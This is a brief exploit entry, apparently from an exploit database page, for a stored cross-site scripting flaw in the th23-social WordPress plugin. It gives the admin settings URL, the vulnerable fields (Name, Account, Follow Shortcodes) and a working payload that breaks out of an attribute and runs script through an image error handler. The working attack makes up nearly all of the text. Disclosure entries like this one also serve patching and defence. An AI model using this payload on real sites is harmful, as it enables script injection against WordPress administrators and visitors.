Share
## https://sploitus.com/exploit?id=WPEX-ID:E770BA87-95D2-40C9-89CC-5D7390E9CBB0
Put the following payload in the plugin's settings (/wp-admin/options-general.php?page=th23-social) such as Name, Account and Follow Shortcodes: "><img src=x onerror=prompt(/XSS/)>